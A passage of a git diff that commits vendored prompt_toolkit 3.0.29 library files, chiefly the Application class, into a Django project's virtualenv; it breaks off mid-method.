Slenders + +Description: prompt_toolkit is a Library for building powerful interactive + command lines in Python. It can be a replacement for GNU + Readline, but it can be much more than that. + +See the examples directory to learn about the usage. + +Probably, to get started, you might also want to have a look at +`prompt_toolkit.shortcuts.prompt`. +""" +from .application import Application +from .formatted_text import ANSI, HTML +from .shortcuts import PromptSession, print_formatted_text, prompt + +# Don't forget to update in `docs/conf.py`! +__version__ = "3.0.29" + +# Version tuple. +VERSION = tuple(__version__.split(".")) + + +__all__ = [ + # Application. + "Application", + # Shortcuts. + "prompt", + "PromptSession", + "print_formatted_text", + # Formatted text. + "HTML", + "ANSI", + # Version info. + "__version__", + "VERSION", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/__init__.py new file mode 100644 index 00000000..dc61ca73 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/__init__.py @@ -0,0 +1,30 @@ +from .application import Application +from .current import ( + AppSession, + create_app_session, + create_app_session_from_tty, + get_app, + get_app_or_none, + get_app_session, + set_app, +) +from .dummy import DummyApplication +from .run_in_terminal import in_terminal, run_in_terminal + +__all__ = [ + # Application. + "Application", + # Current. + "AppSession", + "get_app_session", + "create_app_session", + "create_app_session_from_tty", + "get_app", + "get_app_or_none", + "set_app", + # Dummy. + "DummyApplication", + # Run_in_terminal + "in_terminal", + "run_in_terminal", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/application.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/application.py new file mode 100644 index 00000000..b00c2c2a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/application/application.py @@ -0,0 +1,1431 @@ +import asyncio +import os +import re +import signal +import sys +import threading +import time +from asyncio import ( + AbstractEventLoop, + CancelledError, + Future, + Task, + ensure_future, + new_event_loop, + set_event_loop, + sleep, +) +from contextlib import contextmanager +from subprocess import Popen +from traceback import format_tb +from typing import ( + Any, + Awaitable, + Callable, + Dict, + FrozenSet, + Generator, + Generic, + Hashable, + Iterable, + List, + Optional, + Tuple, + Type, + TypeVar, + Union, + cast, + overload, +) + +from prompt_toolkit.buffer import Buffer +from prompt_toolkit.cache import SimpleCache +from prompt_toolkit.clipboard import Clipboard, InMemoryClipboard +from prompt_toolkit.cursor_shapes import AnyCursorShapeConfig, to_cursor_shape_config +from prompt_toolkit.data_structures import Size +from prompt_toolkit.enums import EditingMode +from prompt_toolkit.eventloop import ( + get_traceback_from_context, + run_in_executor_with_context, +) +from prompt_toolkit.eventloop.utils import call_soon_threadsafe, get_event_loop +from prompt_toolkit.filters import Condition, Filter, FilterOrBool, to_filter +from prompt_toolkit.formatted_text import AnyFormattedText +from prompt_toolkit.input.base import Input +from prompt_toolkit.input.typeahead import get_typeahead, store_typeahead +from prompt_toolkit.key_binding.bindings.page_navigation import ( + load_page_navigation_bindings, +) +from prompt_toolkit.key_binding.defaults import load_key_bindings +from prompt_toolkit.key_binding.emacs_state import EmacsState +from prompt_toolkit.key_binding.key_bindings import ( + Binding, + ConditionalKeyBindings, + GlobalOnlyKeyBindings, + KeyBindings, + KeyBindingsBase, + KeysTuple, + merge_key_bindings, +) +from prompt_toolkit.key_binding.key_processor import KeyPressEvent, KeyProcessor +from prompt_toolkit.key_binding.vi_state import ViState +from prompt_toolkit.keys import Keys +from prompt_toolkit.layout.containers import Container, Window +from prompt_toolkit.layout.controls import BufferControl, UIControl +from prompt_toolkit.layout.dummy import create_dummy_layout +from prompt_toolkit.layout.layout import Layout, walk +from prompt_toolkit.output import ColorDepth, Output +from prompt_toolkit.renderer import Renderer, print_formatted_text +from prompt_toolkit.search import SearchState +from prompt_toolkit.styles import ( + BaseStyle, + DummyStyle, + DummyStyleTransformation, + DynamicStyle, + StyleTransformation, + default_pygments_style, + default_ui_style, + merge_styles, +) +from prompt_toolkit.utils import Event, in_main_thread + +from .current import get_app_session, set_app +from .run_in_terminal import in_terminal, run_in_terminal + +try: + import contextvars +except ImportError: + import prompt_toolkit.eventloop.dummy_contextvars as contextvars # type: ignore + + +__all__ = [ + "Application", +] + + +E = KeyPressEvent +_AppResult = TypeVar("_AppResult") +ApplicationEventHandler = Callable[["Application[_AppResult]"], None] + +_SIGWINCH = getattr(signal, "SIGWINCH", None) +_SIGTSTP = getattr(signal, "SIGTSTP", None) + + +class Application(Generic[_AppResult]): + """ + The main Application class! + This glues everything together. + + :param layout: A :class:`~prompt_toolkit.layout.Layout` instance. + :param key_bindings: + :class:`~prompt_toolkit.key_binding.KeyBindingsBase` instance for + the key bindings. + :param clipboard: :class:`~prompt_toolkit.clipboard.Clipboard` to use. + :param full_screen: When True, run the application on the alternate screen buffer. + :param color_depth: Any :class:`~.ColorDepth` value, a callable that + returns a :class:`~.ColorDepth` or `None` for default. + :param erase_when_done: (bool) Clear the application output when it finishes. + :param reverse_vi_search_direction: Normally, in Vi mode, a '/' searches + forward and a '?' searches backward. In Readline mode, this is usually + reversed. + :param min_redraw_interval: Number of seconds to wait between redraws. Use + this for applications where `invalidate` is called a lot. This could cause + a lot of terminal output, which some terminals are not able to process. + + `None` means that every `invalidate` will be scheduled right away + (which is usually fine). + + When one `invalidate` is called, but a scheduled redraw of a previous + `invalidate` call has not been executed yet, nothing will happen in any + case. + + :param max_render_postpone_time: When there is high CPU (a lot of other + scheduled calls), postpone the rendering max x seconds. '0' means: + don't postpone. '.5' means: try to draw at least twice a second. + + :param refresh_interval: Automatically invalidate the UI every so many + seconds. When `None` (the default), only invalidate when `invalidate` + has been called. + + :param terminal_size_polling_interval: Poll the terminal size every so many + seconds. Useful if the applications runs in a thread other then then + main thread where SIGWINCH can't be handled, or on Windows. + + Filters: + + :param mouse_support: (:class:`~prompt_toolkit.filters.Filter` or + boolean). When True, enable mouse support. + :param paste_mode: :class:`~prompt_toolkit.filters.Filter` or boolean. + :param editing_mode: :class:`~prompt_toolkit.enums.EditingMode`. + + :param enable_page_navigation_bindings: When `True`, enable the page + navigation key bindings. These include both Emacs and Vi bindings like + page-up, page-down and so on to scroll through pages. Mostly useful for + creating an editor or other full screen applications. Probably, you + don't want this for the implementation of a REPL. By default, this is + enabled if `full_screen` is set. + + Callbacks (all of these should accept an + :class:`~prompt_toolkit.application.Application` object as input.) + + :param on_reset: Called during reset. + :param on_invalidate: Called when the UI has been invalidated. + :param before_render: Called right before rendering. + :param after_render: Called right after rendering. + + I/O: + (Note that the preferred way to change the input/output is by creating an + `AppSession` with the required input/output objects. If you need multiple + applications running at the same time, you have to create a separate + `AppSession` using a `with create_app_session():` block. + + :param input: :class:`~prompt_toolkit.input.Input` instance. + :param output: :class:`~prompt_toolkit.output.Output` instance. (Probably + Vt100_Output or Win32Output.) + + Usage: + + app = Application(...) + app.run() + + # Or + await app.run_async() + """ + + def __init__( + self, + layout: Optional[Layout] = None, + style: Optional[BaseStyle] = None, + include_default_pygments_style: FilterOrBool = True, + style_transformation: Optional[StyleTransformation] = None, + key_bindings: Optional[KeyBindingsBase] = None, + clipboard: Optional[Clipboard] = None, + full_screen: bool = False, + color_depth: Union[ + ColorDepth, Callable[[], Union[ColorDepth, None]], None + ] = None, + mouse_support: FilterOrBool = False, + enable_page_navigation_bindings: Optional[ + FilterOrBool + ] = None, # Can be None, True or False. + paste_mode: FilterOrBool = False, + editing_mode: EditingMode = EditingMode.EMACS, + erase_when_done: bool = False, + reverse_vi_search_direction: FilterOrBool = False, + min_redraw_interval: Union[float, int, None] = None, + max_render_postpone_time: Union[float, int, None] = 0.01, + refresh_interval: Optional[float] = None, + terminal_size_polling_interval: Optional[float] = 0.5, + cursor: AnyCursorShapeConfig = None, + on_reset: Optional["ApplicationEventHandler[_AppResult]"] = None, + on_invalidate: Optional["ApplicationEventHandler[_AppResult]"] = None, + before_render: Optional["ApplicationEventHandler[_AppResult]"] = None, + after_render: Optional["ApplicationEventHandler[_AppResult]"] = None, + # I/O. + input: Optional[Input] = None, + output: Optional[Output] = None, + ) -> None: + + # If `enable_page_navigation_bindings` is not specified, enable it in + # case of full screen applications only. This can be overridden by the user. + if enable_page_navigation_bindings is None: + enable_page_navigation_bindings = Condition(lambda: self.full_screen) + + paste_mode = to_filter(paste_mode) + mouse_support = to_filter(mouse_support) + reverse_vi_search_direction = to_filter(reverse_vi_search_direction) + enable_page_navigation_bindings = to_filter(enable_page_navigation_bindings) + include_default_pygments_style = to_filter(include_default_pygments_style) + + if layout is None: + layout = create_dummy_layout() + + if style_transformation is None: + style_transformation = DummyStyleTransformation() + + self.style = style + self.style_transformation = style_transformation + + # Key bindings. + self.key_bindings = key_bindings + self._default_bindings = load_key_bindings() + self._page_navigation_bindings = load_page_navigation_bindings() + + self.layout = layout + self.clipboard = clipboard or InMemoryClipboard() + self.full_screen: bool = full_screen + self._color_depth = color_depth + self.mouse_support = mouse_support + + self.paste_mode = paste_mode + self.editing_mode = editing_mode + self.erase_when_done = erase_when_done + self.reverse_vi_search_direction = reverse_vi_search_direction + self.enable_page_navigation_bindings = enable_page_navigation_bindings + self.min_redraw_interval = min_redraw_interval + self.max_render_postpone_time = max_render_postpone_time + self.refresh_interval = refresh_interval + self.terminal_size_polling_interval = terminal_size_polling_interval + + self.cursor = to_cursor_shape_config(cursor) + + # Events. + self.on_invalidate = Event(self, on_invalidate) + self.on_reset = Event(self, on_reset) + self.before_render = Event(self, before_render) + self.after_render = Event(self, after_render) + + # I/O. + session = get_app_session() + self.output = output or session.output + self.input = input or session.input + + # List of 'extra' functions to execute before a Application.run. + self.pre_run_callables: List[Callable[[], None]] = [] + + self._is_running = False + self.future: Optional[Future[_AppResult]] = None + self.loop: Optional[AbstractEventLoop] = None + self.context: Optional[contextvars.Context] = None + + #: Quoted insert. This flag is set if we go into quoted insert mode. + self.quoted_insert = False + + #: Vi state. (For Vi key bindings.) + self.vi_state = ViState() + self.emacs_state = EmacsState() + + #: When to flush the input (For flushing escape keys.) This is important + #: on terminals that use vt100 input. We can't distinguish the escape + #: key from for instance the left-arrow key, if we don't know what follows + #: after "\x1b". This little timer will consider "\x1b" to be escape if + #: nothing did follow in this time span. + #: This seems to work like the `ttimeoutlen` option in Vim. + self.ttimeoutlen = 0.5 # Seconds. + + #: Like Vim's `timeoutlen` option. This can be `None` or a float. For + #: instance, suppose that we have a key binding AB and a second key + #: binding A. If the uses presses A and then waits, we don't handle + #: this binding yet (unless it was marked 'eager'), because we don't + #: know what will follow. This timeout is the maximum amount of time + #: that we wait until we call the handlers anyway. Pass `None` to + #: disable this timeout. + self.timeoutlen = 1.0 + + #: The `Renderer` instance. + # Make sure that the same stdout is used, when a custom renderer has been passed. + self._merged_style = self._create_merged_style(include_default_pygments_style) + + self.renderer = Renderer( + self._merged_style, + self.output, + full_screen=full_screen, + mouse_support=mouse_support, + cpr_not_supported_callback=self.cpr_not_supported_callback, + ) + + #: Render counter. This one is increased every time the UI is rendered. + #: It can be used as a key for caching certain information during one + #: rendering. + self.render_counter = 0 + + # Invalidate flag. When 'True', a repaint has been scheduled. + self._invalidated = False + self._invalidate_events: List[ + Event[object] + ] = [] # Collection of 'invalidate' Event objects. + self._last_redraw_time = 0.0 # Unix timestamp of last redraw. Used when + # `min_redraw_interval` is given. + + #: The `InputProcessor` instance. + self.key_processor = KeyProcessor(_CombinedRegistry(self)) + + # If `run_in_terminal` was called. This will point to a `Future` what will be + # set at the point when the previous run finishes. + self._running_in_terminal = False + self._running_in_terminal_f: Optional[Future[None]] = None + + # Trigger initialize callback. + self.reset() + + def _create_merged_style(self, include_default_pygments_style: Filter) -> BaseStyle: + """ + Create a `Style` object that merges the default UI style, the default + pygments style, and the custom user style. + """ + dummy_style = DummyStyle() + pygments_style = default_pygments_style() + + @DynamicStyle + def conditional_pygments_style() -> BaseStyle: + if include_default_pygments_style(): + return pygments_style + else: + return dummy_style + + return merge_styles( + [ + default_ui_style(), + conditional_pygments_style, + DynamicStyle(lambda: self.style), + ] + ) + + @property + def color_depth(self) -> ColorDepth: + """ + The active :class:`.ColorDepth`. + + The current value is determined as follows: + + - If a color depth was given explicitly to this application, use that + value. + - Otherwise, fall back to the color depth that is reported by the + :class:`.Output` implementation. If the :class:`.Output` class was + created using `output.defaults.create_output`, then this value is + coming from the $PROMPT_TOOLKIT_COLOR_DEPTH environment variable. + """ + depth = self._color_depth + + if callable(depth): + depth = depth() + + if depth is None: + depth = self.output.get_default_color_depth() + + return depth + + @property + def current_buffer(self) -> Buffer: + """ + The currently focused :class:`~.Buffer`. + + (This returns a dummy :class:`.Buffer` when none of the actual buffers + has the focus. In this case, it's really not practical to check for + `None` values or catch exceptions every time.) + """ + return self.layout.current_buffer or Buffer( + name="dummy-buffer" + ) # Dummy buffer. + + @property + def current_search_state(self) -> SearchState: + """ + Return the current :class:`.SearchState`. (The one for the focused + :class:`.BufferControl`.) + """ + ui_control = self.layout.current_control + if isinstance(ui_control, BufferControl): + return ui_control.search_state + else: + return SearchState() # Dummy search state. (Don't return None!) + + def reset(self) -> None: + """ + Reset everything, for reading the next input. + """ + # Notice that we don't reset the buffers. (This happens just before + # returning, and when we have multiple buffers, we clearly want the + # content in the other buffers to remain unchanged between several + # calls of `run`. (And the same is true for the focus stack.) + + self.exit_style = "" + + self.background_tasks: List[Task[None]] = [] + + self.renderer.reset() + self.key_processor.reset() + self.layout.reset() + self.vi_state.reset() + self.emacs_state.reset() + + # Trigger reset event. + self.on_reset.fire() + + # Make sure that we have a 'focusable' widget focused. + # (The `Layout` class can't determine this.) + layout = self.layout + + if not layout.current_control.is_focusable(): + for w in layout.find_all_windows(): + if w.content.is_focusable(): + layout.current_window = w + break + + def invalidate(self) -> None: + """ + Thread safe way of sending a repaint trigger to the input event loop. + """ + if not self._is_running: + # Don't schedule a redraw if we're not running. + # Otherwise, `get_event_loop()` in `call_soon_threadsafe` can fail. + # See: https://github.com/dbcli/mycli/issues/797 + return + + # `invalidate()` called if we don't have a loop yet (not running?), or + # after the event loop was closed. + if self.loop is None or self.loop.is_closed(): + return + + # Never schedule a second redraw, when a previous one has not yet been + # executed. (This should protect against other threads calling + # 'invalidate' many times, resulting in 100% CPU.) + if self._invalidated: + return + else: + self._invalidated = True + + # Trigger event. + self.loop.call_soon_threadsafe(self.on_invalidate.fire) + + def redraw() -> None: + self._invalidated = False + self._redraw() + + def schedule_redraw() -> None: + call_soon_threadsafe( + redraw, max_postpone_time=self.max_render_postpone_time, loop=self.loop + ) + + if self.min_redraw_interval: + # When a minimum redraw interval is set, wait minimum this amount + # of time between redraws. + diff = time.time() - self._last_redraw_time + if diff < self.min_redraw_interval: + + async def redraw_in_future() -> None: + await sleep(cast(float, self.min_redraw_interval) - diff) + schedule_redraw() + + self.loop.call_soon_threadsafe( + lambda: self.create_background_task(redraw_in_future()) + ) + else: + schedule_redraw() + else: + schedule_redraw() + + @property + def invalidated(self) -> bool: + "True when a redraw operation has been scheduled." + return self._invalidated + + def _redraw(self, render_as_done: bool = False) -> None: + """ + Render the command line again. (Not thread safe!) (From other threads, + or if unsure, use :meth:`.Application.invalidate`.) + + :param render_as_done: make sure to put the cursor after the UI. + """ + + def run_in_context() -> None: + # Only draw when no sub application was started. + if self._is_running and not self._running_in_terminal: + if self.min_redraw_interval: + self._last_redraw_time = time.time() + + # Render + self.render_counter += 1 + self.before_render.fire() + + if render_as_done: + if self.erase_when_done: + self.renderer.erase() + else: + # Draw in 'done' state and reset renderer. + self.renderer.render(self, self.layout, is_done=render_as_done) + else: + self.renderer.render(self, self.layout) + + self.layout.update_parents_relations() + + # Fire render event. + self.after_render.fire() + + self._update_invalidate_events() + + # NOTE: We want to make sure this Application is the active one. The + # invalidate function is often called from a context where this + # application is not the active one. (Like the + # `PromptSession._auto_refresh_context`). + # We copy the context in case the context was already active, to + # prevent RuntimeErrors. (The rendering is not supposed to change + # any context variables.) + if self.context is not None: + self.context.copy().run(run_in_context) + + def _start_auto_refresh_task(self) -> None: + """ + Start a while/true loop in the background for automatic invalidation of + the UI. + """ + if self.refresh_interval is not None and self.refresh_interval != 0: + + async def auto_refresh(refresh_interval: float) -> None: + while True: + await sleep(refresh_interval) + self.invalidate() + + self.create_background_task(auto_refresh(self.refresh_interval)) + + def _update_invalidate_events(self) -> None: + """ + Make sure to attach 'invalidate' handlers to all invalidate events in + the UI. + """ + # Remove all the original event handlers. (Components can be removed + # from the UI.) + for ev in self._invalidate_events: + ev -= self._invalidate_handler + + # Gather all new events. + # (All controls are able to invalidate themselves.) + def gather_events() -> Iterable[Event[object]]: + for c in self.layout.find_all_controls(): + yield from c.get_invalidate_events() + + self._invalidate_events = list(gather_events()) + + for ev in self._invalidate_events: + ev += self._invalidate_handler + + def _invalidate_handler(self, sender: object) -> None: + """ + Handler for invalidate events coming from UIControls. + + (This handles the difference in signature between event handler and + `self.invalidate`. It also needs to be a method -not a nested + function-, so that we can remove it again .) + """ + self.invalidate() + + def _on_resize(self) -> None: + """ + When the window size changes, we erase the current output and request + again the cursor position. When the CPR answer arrives, the output is + drawn again. + """ + # Erase, request position (when cursor is at the start position) + # and redraw again. -- The order is important. + self.renderer.erase(leave_alternate_screen=False) + self._request_absolute_cursor_position() + self._redraw() + + def _pre_run(self, pre_run: Optional[Callable[[], None]] = None) -> None: + """ + Called during `run`. + + `self.future` should be set to the new future at the point where this + is called in order to avoid data races. `pre_run` can be used to set a + `threading.Event` to synchronize with UI termination code, running in + another thread that would call `Application.exit`. (See the progress + bar code for an example.) + """ + if pre_run: + pre_run() + + # Process registered "pre_run_callables" and clear list. + for c in self.pre_run_callables: + c() + del self.pre_run_callables[:] + + async def run_async( + self, + pre_run: Optional[Callable[[], None]] = None, + set_exception_handler: bool = True, + handle_sigint: bool = True, + slow_callback_duration: float = 0.5, + ) -> _AppResult: + """ + Run the prompt_toolkit :class:`~prompt_toolkit.application.Application` + until :meth:`~prompt_toolkit.application.Application.exit` has been + called. Return the value that was passed to + :meth:`~prompt_toolkit.application.Application.exit`. + + This is the main entry point for a prompt_toolkit + :class:`~prompt_toolkit.application.Application` and usually the only + place where the event loop is actually running. + + :param pre_run: Optional callable, which is called right after the + "reset" of the application. + :param set_exception_handler: When set, in case of an exception, go out + of the alternate screen and hide the application, display the + exception, and wait for the user to press ENTER. + :param handle_sigint: Handle SIGINT signal if possible. This will call + the `` key binding when a SIGINT is received. (This only + works in the main thread.) + :param slow_callback_duration: Display warnings if code scheduled in + the asyncio event loop takes more time than this. The asyncio + default of `0.1` is sometimes not sufficient on a slow system, + because exceptionally, the drawing of the app, which happens in the + event loop, can take a bit longer from time to time. + """ + assert not self._is_running, "Application is already running." + + if not in_main_thread() or sys.platform == "win32": + # Handling signals in other threads is not supported. + # Also on Windows, `add_signal_handler(signal.SIGINT, ...)` raises + # `NotImplementedError`. + # See: https://github.com/prompt-toolkit/python-prompt-toolkit/issues/1553 + handle_sigint = False + + async def _run_async() -> _AppResult: + "Coroutine." + loop = get_event_loop() + f = loop.create_future() + self.future = f # XXX: make sure to set this before calling '_redraw'. + self.loop = loop + self.context = contextvars.copy_context() + + # Counter for cancelling 'flush' timeouts. Every time when a key is + # pressed, we start a 'flush' timer for flushing our escape key. But + # when any subsequent input is received, a new timer is started and + # the current timer will be ignored. + flush_task: Optional[asyncio.Task[None]] = None + + # Reset. + # (`self.future` needs to be set when `pre_run` is called.) + self.reset() + self._pre_run(pre_run) + + # Feed type ahead input first. + self.key_processor.feed_multiple(get_typeahead(self.input)) + self.key_processor.process_keys() + + def read_from_input() -> None: + nonlocal flush_task + + # Ignore when we aren't running anymore. This callback will + # removed from the loop next time. (It could be that it was + # still in the 'tasks' list of the loop.) + # Except: if we need to process incoming CPRs. + if not self._is_running and not self.renderer.waiting_for_cpr: + return + + # Get keys from the input object. + keys = self.input.read_keys() + + # Feed to key processor. + self.key_processor.feed_multiple(keys) + self.key_processor.process_keys() + + # Quit when the input stream was closed. + if self.input.closed: + if not f.done(): + f.set_exception(EOFError) + else: + # Automatically flush keys. + if flush_task: + flush_task.cancel() + flush_task = self.create_background_task(auto_flush_input()) + + async def auto_flush_input() -> None: + # Flush input after timeout. + # (Used for flushing the enter key.) + # This sleep can be cancelled, in that case we won't flush yet. + await sleep(self.ttimeoutlen) + flush_input() + + def flush_input() -> None: + if not self.is_done: + # Get keys, and feed to key processor. + keys = self.input.flush_keys() + self.key_processor.feed_multiple(keys) + self.key_processor.process_keys() + + if self.input.closed: + f.set_exception(EOFError) + + # Enter raw mode, attach input and attach WINCH event handler. + with self.input.raw_mode(), self.input.attach( + read_from_input + ), attach_winch_signal_handler(self._on_resize): + + # Draw UI. + self._request_absolute_cursor_position() + self._redraw() + self._start_auto_refresh_task() + + self.create_background_task(self._poll_output_size()) + + # Wait for UI to finish. + try: + result = await f + finally: + # In any case, when the application finishes. + # (Successful, or because of an error.) + try: + self._redraw(render_as_done=True) + finally: + # _redraw has a good chance to fail if it calls widgets + # with bad code. Make sure to reset the renderer + # anyway. + self.renderer.reset() + + # Unset `is_running`, this ensures that possibly + # scheduled draws won't paint during the following + # yield. + self._is_running = False + + # Detach event handlers for invalidate events. + # (Important when a UIControl is embedded in multiple + # applications, like ptterm in pymux. An invalidate + # should not trigger a repaint in terminated + # applications.) + for ev in self._invalidate_events: + ev -= self._invalidate_handler + self._invalidate_events = [] + + # Wait for CPR responses. + if self.output.responds_to_cpr: + await self.renderer.wait_for_cpr_responses() + + # Wait for the run-in-terminals to terminate. + previous_run_in_terminal_f = self._running_in_terminal_f + + if previous_run_in_terminal_f: + await previous_run_in_terminal_f + + # Store unprocessed input as typeahead for next time. + store_typeahead(self.input, self.key_processor.empty_queue()) + + return cast(_AppResult, result) + + async def _run_async2() -> _AppResult: + self._is_running = True + try: + # Make sure to set `_invalidated` to `False` to begin with, + # otherwise we're not going to paint anything. This can happen if + # this application had run before on a different event loop, and a + # paint was scheduled using `call_soon_threadsafe` with + # `max_postpone_time`. + self._invalidated = False + + loop = get_event_loop() + + if handle_sigint: + loop.add_signal_handler( + signal.SIGINT, + lambda *_: loop.call_soon_threadsafe( + self.key_processor.send_sigint + ), + ) + + if set_exception_handler: + previous_exc_handler = loop.get_exception_handler() + loop.set_exception_handler(self._handle_exception) + + # Set slow_callback_duration. + original_slow_callback_duration = loop.slow_callback_duration + loop.slow_callback_duration = slow_callback_duration + + try: + with set_app(self), self._enable_breakpointhook(): + try: + result = await _run_async() + finally: + # Wait for the background tasks to be done. This needs to + # go in the finally! If `_run_async` raises + # `KeyboardInterrupt`, we still want to wait for the + # background tasks. + await self.cancel_and_wait_for_background_tasks() + + # Also remove the Future again. (This brings the + # application back to its initial state, where it also + # doesn't have a Future.) + self.future = None + + return result + finally: + if set_exception_handler: + loop.set_exception_handler(previous_exc_handler) + + if handle_sigint: + loop.remove_signal_handler(signal.SIGINT) + + # Reset slow_callback_duration. + loop.slow_callback_duration = original_slow_callback_duration + + finally: + # Set the `_is_running` flag to `False`. Normally this happened + # already in the finally block in `run_async` above, but in + # case of exceptions, that's not always the case. + self._is_running = False + + return await _run_async2() + + def run( + self, + pre_run: Optional[Callable[[], None]] = None, + set_exception_handler: bool = True, + handle_sigint: bool = True, + in_thread: bool = False, + ) -> _AppResult: + """ + A blocking 'run' call that waits until the UI is finished. + + This will start the current asyncio event loop. If no loop is set for + the current thread, then it will create a new loop. If a new loop was + created, this won't close the new loop (if `in_thread=False`). + + :param pre_run: Optional callable, which is called right after the + "reset" of the application. + :param set_exception_handler: When set, in case of an exception, go out + of the alternate screen and hide the application, display the + exception, and wait for the user to press ENTER. + :param in_thread: When true, run the application in a background + thread, and block the current thread until the application + terminates. This is useful if we need to be sure the application + won't use the current event loop (asyncio does not support nested + event loops). A new event loop will be created in this background + thread, and that loop will also be closed when the background + thread terminates. When this is used, it's especially important to + make sure that all asyncio background tasks are managed through + `get_appp().create_background_task()`, so that unfinished tasks are + properly cancelled before the event loop is closed. This is used + for instance in ptpython. + :param handle_sigint: Handle SIGINT signal. Call the key binding for + `Keys.SIGINT`. (This only works in the main thread.) + """ + if in_thread: + result: _AppResult + exception: Optional[BaseException] = None + + def run_in_thread() -> None: + nonlocal result, exception + try: + result = self.run( + pre_run=pre_run, + set_exception_handler=set_exception_handler, + # Signal handling only works in the main thread. + handle_sigint=False, + ) + except BaseException as e: + exception = e + finally: + # Make sure to close the event loop in this thread. Running + # the application creates a new loop (because we're in + # another thread), but it doesn't get closed automatically + # (also not by the garbage collector). + loop = get_event_loop() + loop.run_until_complete(loop.shutdown_asyncgens()) + loop.close() + + thread = threading.Thread(target=run_in_thread) + thread.start() + thread.join() + + if exception is not None: + raise exception + return result + + # We don't create a new event loop by default, because we want to be + # sure that when this is called multiple times, each call of `run()` + # goes through the same event loop. This way, users can schedule + # background-tasks that keep running across multiple prompts. + try: + loop = get_event_loop() + except RuntimeError: + # Possibly we are not running in the main thread, where no event + # loop is set by default. Or somebody called `asyncio.run()` + # before, which closes the existing event loop. We can create a new + # loop. + loop = new_event_loop() + set_event_loop(loop) + + return loop.run_until_complete( + self.run_async( + pre_run=pre_run, + set_exception_handler=set_exception_handler, + handle_sigint=handle_sigint, + ) + ) + + def _handle_exception( + self, loop: AbstractEventLoop, context: Dict[str, Any] + ) -> None: + """ + Handler for event loop exceptions. + This will print the exception, using run_in_terminal. + """ + # For Python 2: we have to get traceback at this point, because + # we're still in the 'except:' block of the event loop where the + # traceback is still available. Moving this code in the + # 'print_exception' coroutine will loose the exception. + tb = get_traceback_from_context(context) + formatted_tb = "".join(format_tb(tb)) + + async def in_term() -> None: + async with in_terminal(): + # Print output. Similar to 'loop.default_exception_handler', + # but don't use logger. (This works better on Python 2.) + print("\nUnhandled exception in event loop:") + print(formatted_tb) + print("Exception {}".format(context.get("exception"))) + + await _do_wait_for_enter("Press ENTER to continue...") + + ensure_future(in_term()) + + @contextmanager + def _enable_breakpointhook(self) -> Generator[None, None, None]: + """ + Install our custom breakpointhook for the duration of this context + manager. (We will only install the hook if no other custom hook was + set.) + """ + if sys.version_info >= (3, 7) and sys.breakpointhook == sys.__breakpointhook__: + sys.breakpointhook = self._breakpointhook + + try: + yield + finally: + sys.breakpointhook = sys.__breakpointhook__ + else: + yield + + def _breakpointhook(self, *a: object, **kw: object) -> None: + """ + Breakpointhook which uses PDB, but ensures that the application is + hidden and input echoing is restored during each debugger dispatch. + """ + app = self + # Inline import on purpose. We don't want to import pdb, if not needed. + import pdb + from types import FrameType + + TraceDispatch = Callable[[FrameType, str, Any], Any] + + class CustomPdb(pdb.Pdb): + def trace_dispatch( + self, frame: FrameType, event: str, arg: Any + ) -> TraceDispatch: + # Hide application. + app.renderer.erase() + + # Detach input and dispatch to debugger. + with app.input.detach(): + with app.input.cooked_mode(): + return super().trace_dispatch(frame, event, arg) + + # Note: we don't render the application again here, because + # there's a good chance that there's a breakpoint on the next + # line. This paint/erase cycle would move the PDB prompt back + # to the middle of the screen. + + frame = sys._getframe().f_back + CustomPdb(stdout=sys.__stdout__).set_trace(frame) + + def create_background_task( + self, coroutine: Awaitable[None] + ) -> "asyncio.Task[None]": + """ + Start a background task (coroutine) for the running application. When + the `Application` terminates, unfinished background tasks will be + cancelled. + + If asyncio had nurseries like Trio, we would create a nursery in + `Application.run_async`, and run the given coroutine in that nursery. + + Not threadsafe. + """ + task = get_event_loop().create_task(coroutine) + self.background_tasks.append(task) + return task + + async def cancel_and_wait_for_background_tasks(self) -> None: + """ + Cancel all background tasks, and wait for the cancellation to be done. + If any of the background tasks raised an exception, this will also + propagate the exception. + + (If we had nurseries like Trio, this would be the `__aexit__` of a + nursery.) + """ + for task in self.background_tasks: + task.cancel() + + for task in self.background_tasks: + try: + await task + except CancelledError: + pass + + async def _poll_output_size(self) -> None: + """ + Coroutine for polling the terminal dimensions. + + Useful for situations where `attach_winch_signal_handler` is not sufficient: + - If we are not running in the main thread. + - On Windows. + """ + size: Optional[Size] = None + interval = self.terminal_size_polling_interval + + if interval is None: + return + + while True: + await asyncio.sleep(interval) + new_size = self.output.get_size() + + if size is not None and new_size != size: + self._on_resize() + size = new_size + + def cpr_not_supported_callback(self) -> None: + """ + Called when we don't receive the cursor position response in time. + """ + if not self.output.responds_to_cpr: + return # We know about this already. + + def in_terminal() -> None: + self.output.write( + "WARNING: your terminal doesn't support cursor position requests (CPR).\r\n" + ) + self.output.flush() + + run_in_terminal(in_terminal) + + @overload + def exit(self) -> None: + "Exit without arguments." + + @overload + def exit(self, *, result: _AppResult, style: str = "") -> None: + "Exit with `_AppResult`." + + @overload + def exit( + self, *, exception: Union[BaseException, Type[BaseException]], style: str = "" + ) -> None: + "Exit with exception." + + def exit( + self, + result: Optional[_AppResult] = None, + exception: Optional[Union[BaseException, Type[BaseException]]] = None, + style: str = "", + ) -> None: + """ + Exit application. + + .. note:: + + If `Application.exit` is called before `Application.run()` is + called, then the `Application` won't exit (because the + `Application.future` doesn't correspond to the current run). Use a + `pre_run` hook and an event to synchronize the closing if there's a + chance this can happen. + + :param result: Set this result for the application. + :param exception: Set this exception as the result for an application. For + a prompt, this is often `EOFError` or `KeyboardInterrupt`. + :param style: Apply this style on the whole content when quitting, + often this is 'class:exiting' for a prompt. (Used when + `erase_when_done` is not set.) + """ + assert result is None or exception is None + + if self.future is None: + raise Exception("Application is not running. Application.exit() failed.") + + if self.future.done(): + raise Exception("Return value already set. Application.exit() failed.") + + self.exit_style = style + + if exception is not None: + self.future.set_exception(exception) + else: + self.future.set_result(cast(_AppResult, result)) + + def _request_absolute_cursor_position(self) -> None: + """ + Send CPR request. + """ + # Note: only do this if the input queue is not empty, and a return + # value has not been set. Otherwise, we won't be able to read the + # response anyway. + if not self.key_processor.input_queue and not self.is_done: + self.renderer.request_absolute_cursor_position() + + async def run_system_command( + self, + command: str, + 